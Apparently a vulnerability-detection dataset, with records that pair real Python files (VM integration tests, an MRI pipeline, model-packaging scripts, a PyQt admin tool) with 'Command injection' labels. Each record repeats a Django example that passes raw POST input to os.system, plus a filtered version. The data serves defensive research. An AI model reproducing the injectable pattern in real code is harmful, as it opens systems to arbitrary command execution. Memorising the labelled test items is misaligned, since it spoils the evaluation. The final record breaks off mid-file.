"issueLineNumber": 25, "entireCode": "# Copyright (c) 2020 \n\n\"\"\"Mech integration tests: simple ones (including virtualbox smoke)\"\"\"\nimport re\nimport subprocess\nimport platform\n\nimport pytest\n\n\nfrom mech import utils\n\n\n@pytest.mark.virtualbox\n@pytest.mark.int\ndef test_int_smoke_virtualbox():\n    \"\"\"Smoke test most options using virtualbox.\"\"\"\n\n    test_dir = \"tests/int/simple_virtualbox\"\n    utils.cleanup_dir_and_vms_from_dir(test_dir, names=['firstvbsmoke'])\n\n    # should init\n    command = \"mech init --provider virtualbox --name firstvbsmoke bento/ubuntu-18.04\"\n    expected_lines = [\"Initializing\", \"Loading metadata\", \"has been initialized\", \"mech up\"]\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # should start\n    command = \"mech up\"\n    expected_lines = [\"virtualbox\", \"Extracting\", \"Sharing folders\",\n                      \"Getting IP\", \"started\", \"Provisioning\"]\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # should be able to re-up, verify 'start' alias works, too\n    commands = [\"mech up\", \"mech start\"]\n    expected_lines = [\"Getting IP\", \"started\"]\n    for command in commands:\n        results = subprocess.run(commands, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert results.returncode == 0\n        for line in expected_lines:\n            print(line)\n            assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech ps'\n    command = \"mech ps firstvbsmoke\"\n    expected_lines = [\"/sbin/init\"]\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech global-status'\n    command = \"mech global-status\"\n    expected_lines = ['firstvbsmoke']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech list'\n    commands = [\"mech ls\", \"mech list\"]\n    expected_lines = ['firstvbsmoke', 'ubuntu', 'virtualbox']\n    for command in commands:\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert results.returncode == 0\n        for line in expected_lines:\n            print(line)\n            assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech stop'\n    command = \"mech stop\"\n    expected_lines = ['Stopped']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech stop' again\n    command = \"mech stop\"\n    expected_lines = ['Not stopped']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech start'\n    command = \"mech start\"\n    expected_lines = ['started', 'Nothing to provision']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech pause'\n    command = \"mech pause\"\n    expected_lines = ['Paused']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech resume'\n    command = \"mech resume\"\n    expected_lines = ['resumed']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech suspend'\n    command = \"mech suspend\"\n    expected_lines = ['Not sure equivalent command on this platform']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech resume' after suspend\n    command = \"mech resume\"\n    expected_lines = ['started', 'Nothing to provision']\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    for line in expected_lines:\n        print(line)\n        assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech ssh' (different forms)\n    commands = [\"mech ssh -c 'uptime' firstvbsmoke\", \"mech ssh --command 'uptime' firstvbsmoke\"]\n    expected_lines = ['load average']\n    for command in commands:\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert results.returncode == 0\n        for line in expected_lines:\n            print(line)\n            assert re.search(line, stdout, re.MULTILINE)\n\n    # test 'mech scp' to guest\n    command = \"date > now; mech scp now firstvbsmoke:/tmp\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stdout == ''\n    assert stderr == ''\n    assert results.returncode == 0\n\n    # test 'mech scp' from guest\n    command = \"mech scp firstvbsmoke:/tmp/now .\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stdout == ''\n    assert stderr == ''\n    assert results.returncode == 0\n\n    # test 'mech ip firstvbsmoke'\n    command = \"mech ip firstvbsmoke\"\n    expected = r\"[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    assert re.search(expected, stdout)\n\n    if platform.system() == \"Linux\":\n        # test \"mech port\"\n        command = \"mech port\"\n        expected = r\"This command is not supported on this OS\"\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stdout == ''\n        assert re.search(expected, stderr, re.MULTILINE)\n        assert results.returncode == 1\n    else:\n        # test \"mech port\"\n        command = \"mech port\"\n        expected = r\"Not yet implemented on this platform\"\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert re.search(expected, stdout, re.MULTILINE)\n        assert results.returncode == 0\n\n    # test \"mech box list\" (and alias)\n    commands = [\"mech box list\", \"mech box ls\"]\n    expected = r\"ubuntu\"\n    for command in commands:\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert results.returncode == 0\n        assert re.search(expected, stdout, re.MULTILINE)\n\n    # test \"mech snapshot list\" (and alias)\n    commands = [\"mech snapshot list\", \"mech snapshot ls\"]\n    expected = \"Not yet implemented\"\n    for command in commands:\n        results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n        stdout = results.stdout.decode('utf-8')\n        stderr = results.stderr.decode('utf-8')\n        assert stderr == ''\n        assert results.returncode == 0\n        assert re.search(expected, stdout, re.MULTILINE)\n\n    # test \"mech snapshot save\"\n    command = \"mech snapshot save snap1 firstvbsmoke\"\n    expected = \"Not yet implemented\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    assert re.search(expected, stdout)\n\n    # test \"mech snapshot save\" with same args again\n    # command = \"mech snapshot save snap1 firstvbsmoke\"\n    # results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    # stdout = results.stdout.decode('utf-8')\n    # stderr = results.stderr.decode('utf-8')\n    # assert stdout == ''\n    # assert re.search('A snapshot with the name already exists', stderr)\n    # assert results.returncode == 1\n\n    # test \"mech snapshot list\" (and alias) again (now that we have one)\n    # commands = [\"mech snapshot list\", \"mech snapshot ls\"]\n    # expected = \"Total snapshots: 1\"\n    # for command in commands:\n    #     results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    #     stdout = results.stdout.decode('utf-8')\n    #     stderr = results.stderr.decode('utf-8')\n    #     assert stderr == ''\n    #     assert results.returncode == 0\n    #     assert re.search(expected, stdout, re.MULTILINE)\n\n    # test \"mech snapshot delete\"\n    command = \"mech snapshot delete snap1 firstvbsmoke\"\n    expected = \"Not yet implemented\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    assert re.search(expected, stdout)\n\n    # should be able to destroy\n    command = \"mech destroy -f\"\n    expected = \"Deleting\"\n    results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n    stdout = results.stdout.decode('utf-8')\n    stderr = results.stderr.decode('utf-8')\n    assert stderr == ''\n    assert results.returncode == 0\n    assert re.search(expected, stdout)\n\n    # clean up at the end\n    utils.cleanup_dir_and_vms_from_dir(test_dir)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 25, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ae043a5058d7f4c75a68381b67c04862ea312d34a17ad0f8f41917cf6d973250", "license": {"spdx": ["MIT"], "repo": "j1c/pipelines", "path": "hcp_pipelines/main.py", "repo_head_hexsha": "f86b01676a0ba0298e3318ab93ac460a2a7ee674", "stack_hexsha": "2906f2e34303cdd920b4ddc41ac65dc8643f9879", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 24, "entireCode": "import shutil\nimport subprocess\nfrom argparse import ArgumentParser\nfrom pathlib import Path\n\nfrom hcp2bids import convert, get_data\n\nfrom .utils import s3_upload\n\n\ndef run(cmd):\n    \"\"\"\n    Wrapper on `subprocess.run`.\n    Print the command.\n    Execute a command string on the shell (on bash).\n    Exists so that the shell prints out commands as m2g calls them.\n\n    Parameters\n    ----------\n    cmd : str\n        Command to be sent to the shell.\n    \"\"\"\n    print(f\"Running shell command: {cmd}\")\n    subprocess.run(cmd, shell=True, check=True)\n\n\ndef main():\n    parser = ArgumentParser(\n        description=\"This is an end-to-end connectome estimation pipeline from multishell images.\"\n    )\n    parser.add_argument(\"--skip_dmriprep\", action=\"store_true\")\n    parser.add_argument(\"--skip_download\", action=\"store_true\")\n    parser.add_argument(\"--skip_m2g\", action=\"store_true\")\n    parser.add_argument(\"--only_dmriprep\", action=\"store_true\")\n    parser.add_argument(\n        \"--push_location\",\n        action=\"store\",\n        help=\"Name of folder on s3 to push output data to, if the folder does not exist, it will be created.\"\n        \"Format the location as `s3:///`\",\n        default=None,\n    )\n    parser.add_argument(\n        \"--remove_work_dir\",\n        action=\"store_true\",\n        help=\"Remove the work directory from dmriprep outputs if true.\",\n    )\n    parser.add_argument(\n        \"--exclude_download\",\n        action=\"store\",\n        help=\"Keywords used to skip files in downloads\",\n        nargs=\"+\",\n    )\n    parser.add_argument(\n        \"--n_cpus\",\n        action=\"store\",\n        type=int,\n        default=8,\n        help=\"Maximum number of threads across all processes. Minimum required is 8.\",\n    )\n    parser.add_argument(\n        \"--mem_gb\",\n        action=\"store\",\n        default=16,\n        type=int,\n        help=\"Upper bound memory limit for dMRIPrep processes. Minimum required is 16 GB.\",\n    )\n    parser.add_argument(\n        \"--participant_label\",\n        help=\"\"\"The label(s) of the\n        participant(s) that should be analyzed. The label\n        corresponds to sub- from the BIDS\n        spec (so it does not include \"sub-\"). If this\n        parameter is not provided all subjects should be\n        analyzed. Multiple participants can be specified\n        with a space separated list.\"\"\",\n    )\n    parser.add_argument(\n        \"--denoise_strategy\",\n        action=\"store\",\n        default=\"mppca\",\n        help=\"Denoising strategy. Choices include: mppca, nlmeans, localpca, and nlsam\",\n    )\n    parser.add_argument(\n        \"--mod\",\n        action=\"store\",\n        help=\"Deterministic (det) or probabilistic (prob) tracking. Default is det.\",\n        default=\"det\",\n    )\n    parser.add_argument(\n        \"--filtering_type\",\n        action=\"store\",\n        help=\"Tracking approach: local, particle. Default is local.\",\n        default=\"local\",\n    )\n    parser.add_argument(\n        \"--diffusion_model\",\n        action=\"store\",\n        help=\"Diffusion model: csd or csa. Default is csa.\",\n        default=\"csa\",\n    )\n    parser.add_argument(\n        \"--seeds\",\n        action=\"store\",\n        help=\"Seeding density for tractography. Default is 20.\",\n        default=20,\n    )\n    parser.add_argument(\n        \"--parcellation\",\n        action=\"store\",\n        help=\"The parcellation(s) being analyzed. Multiple parcellations can be provided with a space separated list.\",\n        nargs=\"+\",\n        default=None,\n    )\n    parser.add_argument(\n        \"--hcp_key\",\n        action=\"store\",\n        help=\"Credentials for HCP bucket in form of (public, secret) key.\",\n        nargs=\"+\",\n        default=None,\n    )\n    parser.add_argument(\n        \"--s3_key\",\n        action=\"store\",\n        help=\"Credentials for s3 upload bucket in form of (public, secret) key.\",\n        nargs=\"+\",\n        default=None,\n    )\n    args = parser.parse_args()\n\n    if len(args.hcp_key) != 2:\n        raise ValueError(\"--hcp_key must have two parameters.\")\n\n    if args.push_location:\n        if len(args.hcp_key) != 2:\n            raise ValueError(\"--s3_key must have two parameters.\")\n\n    if not args.skip_download:\n        # Get the data and convert to bids\n        print(\"Downloading data...\\n\")\n        get_data(\n            output_path=\"/input\",\n            subjects=args.participant_label,\n            access_key_id=args.hcp_key[0],\n            secret_access_key=args.hcp_key[1],\n            exclude_list=args.exclude_download,\n        )\n        convert(\n            input_path=\"/input\",\n            output_path=\"/input\",\n            include_ses=True,\n        )\n\n    if not args.skip_dmriprep:\n        # Run dmriprep\n        print(\"Running dmriprep...\\n\")\n        cmd = f\"dmriprep /input /output participant -w /work_dir -s 1 \\\n            --denoise_strategy {args.denoise_strategy} \\\n            --participant_label {args.participant_label} \\\n            --nprocs {args.n_cpus} --omp_nthreads {args.n_cpus} --mem_gb {args.mem_gb} \"\n        run(cmd)\n\n        # Skip all other steps. Only useful for debugging.\n        if args.only_dmriprep:\n            return 0\n\n        # Rename files\n        input_dir = f\"/input/sub-{args.participant_label}/ses-1/dwi/\"\n        shutil.rmtree(input_dir)\n        shutil.copytree(\n            f\"/output/sub-{args.participant_label}/ses-1/dwi/\",\n            f\"/input/sub-{args.participant_label}/ses-1/dwi/\",\n        )\n        shutil.rmtree(\"/output/\", ignore_errors=True)\n        input_dir = Path(input_dir)\n\n        # Make output dir per m2g spec\n        m2g_path = Path(f\"/output/sub-{args.participant_label}/ses-1/dwi/preproc/\")\n        m2g_path.mkdir(parents=True, exist_ok=True)\n\n        files = list(input_dir.glob(\"*.*\"))\n        for file in files:\n            if not \"final\" in file.name:\n                file.unlink()\n            else:\n                parent = file.parent\n                bids_name = f\"sub-{args.participant_label}_ses-1_run-1_dwi\"\n                suffix = file.suffix\n                if suffix == \".gz\":\n                    suffix = \".nii.gz\"\n\n                new_name = parent / (bids_name + suffix)\n                file.rename(new_name)\n\n                if suffix == \".nii.gz\":\n                    eddy_file = m2g_path / \"eddy_corrected_data.nii.gz\"\n                    shutil.copyfile(str(new_name.absolute()), str(eddy_file.absolute()))\n\n        # Delete work dir\n        if args.remove_work_dir:\n            shutil.rmtree(\"/work_dir\", ignore_errors=True)\n\n    # Run m2g\n    if not args.skip_m2g:\n        cmd = f\"m2g_bids --participant_label {args.participant_label} --session_label 1\\\n            --pipeline dwi --skipeddy --voxelsize 1mm\\\n            --parcellation {' '.join(args.parcellation)}\\\n            --n_cpus {args.n_cpus}  --mem_gb  {args.mem_gb} --seeds {args.seeds}\\\n            --diffusion_model {args.diffusion_model} --mod {args.mod}\\\n            --filtering_type {args.filtering_type}\\\n            /input /output\"\n        run(cmd)\n\n    # Upload to s3\n    if args.push_location:\n        print(f\"Pushing to s3 at {args.push_location}.\")\n        s3_upload(\n            args.push_location,\n            \"/output\",\n            subject=args.participant_label,\n            session=\"1\",\n            access_key_id=args.s3_key[0],\n            secret_access_key=args.s3_key[1],\n        )\n\n\nif __name__ == \"__main__\":\n    main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e8d3963881b9d9588ce4981be32512f53458950c4205e64380ac1f2d860d00a8", "license": {"spdx": ["Apache-2.0"], "repo": "vvekic/serve", "path": "examples/text_to_speech_synthesizer/create_mar.py", "repo_head_hexsha": "f02a56bf1f0de1705fd9f399c1115d36e343c90c", "stack_hexsha": "5ef6d65a80f29be72251f9f1bea86a7f1fae347b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 23, "entireCode": "import tempfile\nimport sys\nsys.path.append('../../ts_scripts')\nfrom ts_scripts.shell_utils import rm_dir, rm_file, download_save\nimport os\nimport shutil\nimport subprocess\n\nTMP_DIR = tempfile.gettempdir()\nrm_file(\"torchhub.zip\")\nrm_dir(os.path.join(TMP_DIR, \"DeepLearningExamples-torchhub\"))\nrm_dir(\"PyTorch\")\ndownload_save(\"https://github.com/nvidia/DeepLearningExamples/archive/torchhub.zip\", TMP_DIR)\nshutil.unpack_archive(os.path.join(TMP_DIR, \"torchhub.zip\"), extract_dir=TMP_DIR)\nrm_file(\"tacotron.zip\")\nshutil.copytree(os.path.join(TMP_DIR, \"DeepLearningExamples-torchhub/PyTorch/SpeechSynthesis/\"),\n                \"PyTorch/SpeechSynthesis/\")\nshutil.make_archive(\"tacotron\", \"zip\", base_dir=\"PyTorch\")\ndownload_save(\"https://api.ngc.nvidia.com/v2/models/nvidia/tacotron2pyt_fp32/versions/1/files/\"\n              \"nvidia_tacotron2pyt_fp32_20190306.pth\")\ndownload_save(\"https://api.ngc.nvidia.com/v2/models/nvidia/waveglowpyt_fp32/versions/1/files/\"\n              \"nvidia_waveglowpyt_fp32_20190306.pth\")\nsubprocess.run(\"torch-model-archiver --model-name waveglow_synthesizer --version 1.0 \"\n               \"--model-file waveglow_model.py --serialized-file nvidia_waveglowpyt_fp32_20190306.pth \"\n               \"--handler waveglow_handler.py \"\n               \"--extra-files tacotron.zip,nvidia_tacotron2pyt_fp32_20190306.pth\",\n               check=True,\n               shell=True)\nrm_file(\"nvidia*\", regex=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ae33676739c14a3db4159bb6487fb9c9f7fbab59c14fdb364f887b83bcbf1978", "license": {"spdx": ["MIT"], "repo": "microsoft/DirectML-Samples", "path": "TensorFlow/TF2/yolov3-tf2/train_voc.py", "repo_head_hexsha": "428a5b523df5e69a81ad68763f42b03cc8e122f0", "stack_hexsha": "fbe08b28a82e852365f363b7e70ada41e5bcedef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 21, "entireCode": "import subprocess\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--batch_size\", default=4)\nparser.add_argument(\"--epochs\", default=10)\nargs = parser.parse_args()\n\ncl = \" \".join([\n    \"python train.py\",\n    \"--dataset\", os.path.join(\"data\", \"voc2012_train.tfrecord\"),\n    \"--val_dataset\", os.path.join(\"data\", \"voc2012_val.tfrecord\"),\n    \"--classes\", os.path.join(\"data\", \"voc2012.names\"),\n    \"--num_classes 20\",\n    \"--mode eager_tf\",\n    \"--transfer none\",\n    f\"--batch_size {args.batch_size}\",\n    f\"--epochs {args.epochs}\"\n])\nsubprocess.run(cl, shell=True, check=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "bcbba04ab494f66d58a6932ed4bc45ac8d556d7e47298460c34b6642f30fd139", "license": {"spdx": ["MIT"], "repo": "flyflyinit/GUI-admin-tool", "path": "project/users/configureusers.py", "repo_head_hexsha": "1fa97393ee2a39a65f5b7bbe95eb5b5f04bc6ad6", "stack_hexsha": "b2754a6362de0cc593e27920049e1fe8d3603a36", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 129, "entireCode": "from PyQt5.QtCore import Qt\n\ntry:\n    from PyQt5.QtWidgets import QWidget, QVBoxLayout, QProgressBar, QPushButton, QSpinBox, QLabel, QLineEdit, \\\n        QFormLayout, \\\n        QHBoxLayout, QListWidget, QMessageBox, QCheckBox\nexcept ImportError as e:\n    print(\n        f'package PyQt5 Not Found\\n{e}\\ntry :\\npip3 install --user pyqt5\\nOR\\ndnf install python3-pyqt5, yum install python3-pyqt5\\n')\n\ntry:\n    import subprocess\n    import concurrent.futures\n    from datetime import datetime\nexcept ImportError as e:\n    print(f'package not found\\n{e}\\n')\n\n\nclass CreateUsersWindow(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.setGeometry(200, 50, 300, 400)\n        self.setWindowTitle(\"Add Users\")\n        self.layouts()\n        self.widgets()\n\n    def layouts(self):\n        self.mainLayout = QVBoxLayout()\n        self.topLayout = QVBoxLayout()\n        self.topLayout.setContentsMargins(20, 20, 20, 20)\n        self.bottomLayout = QHBoxLayout()\n\n        self.progeesBar = QProgressBar()\n        self.progeesBar.setHidden(True)\n        self.okBtn = QPushButton(\"Ok\")\n        self.okBtn.clicked.connect(self.cancelAction)\n        self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px solid #27ae60\")\n        self.okBtn.setHidden(True)\n        self.submitBtn = QPushButton(\"Submit\")\n        self.submitBtn.clicked.connect(self.submitAction)\n        self.cancelBtn = QPushButton(\"Cancel\")\n        self.cancelBtn.clicked.connect(self.cancelAction)\n        self.submitBtn.setHidden(False)\n        self.cancelBtn.setHidden(False)\n        self.okBtn.setFixedHeight(30)\n        self.submitBtn.setFixedHeight(30)\n        self.cancelBtn.setFixedHeight(30)\n        self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px solid #27ae60\")\n        self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px solid #e74c3c\")\n\n        self.bottomLayout.addWidget(self.okBtn)\n        self.bottomLayout.addWidget(self.submitBtn)\n        self.bottomLayout.addWidget(self.cancelBtn)\n        self.mainLayout.addLayout(self.topLayout)\n        self.mainLayout.addStretch()\n        self.mainLayout.addWidget(self.progeesBar)\n        self.mainLayout.addLayout(self.bottomLayout)\n        